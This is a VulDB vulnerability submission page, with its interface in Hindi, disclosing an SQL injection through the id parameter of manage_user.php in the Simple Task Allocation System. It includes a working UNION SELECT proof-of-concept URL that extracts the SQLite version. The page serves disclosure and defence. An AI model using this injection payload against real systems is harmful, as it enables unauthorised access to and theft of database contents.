| शीर्षक | SQL injection vulnerability exists in manage_user.php of Simple Task Allocation System |
|---|
| विवरण | The manage_user.php of the Simple Task Allocation System has a sql injection vulnerability. The id parameter input by the user is not filtered when the code is written, so that the user can carefully construct the url for sql injection
We can splice statement closure at http://127.0.0.1/php-sqlite-task-allocation-system/?page=manage_user&id=2
http://127.0.0.1/php-sqlite-task-allocation-system/?page=manage_user&id=2'union select 1,sqlite_version(),3,4,5;
The data can be obtained. Here we take obtaining the database version as an example and other high-risk injection vulnerabilities.
source url:https://www.sourcecodester.com/php/16358/simple-task-allocation-system-using-php-and-sqlite-source-code-free-download.html |
|---|
| स्रोत | ⚠️ https://github.com/Pe4cefulSnow/SQL-Injection/blob/main/SQLcve.md |
|---|
| उपयोगकर्ता | Pe4cefulSnow (UID 34389) |
|---|
| सबमिशन | 31/03/2023 11:42 AM (4 साल पहले) |
|---|
| संयम | 02/04/2023 08:44 AM (2 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 224743 [SourceCodester Simple Task Allocation System 1.0 manage_user.php पहचान SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|